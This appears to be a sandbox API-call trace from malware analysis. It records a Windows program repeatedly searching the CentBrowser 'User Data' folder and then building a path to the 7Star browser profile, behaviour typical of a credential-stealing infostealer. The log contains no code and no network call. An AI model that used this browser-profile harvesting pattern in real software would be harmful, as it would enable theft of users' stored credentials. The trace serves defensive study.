[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.836] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.836] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.837] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.837] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.838] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.838] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.838] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.838] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.838] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.838] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.838] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.838] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.838] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\7Star\\7Star\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\"
[0052.838] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\"
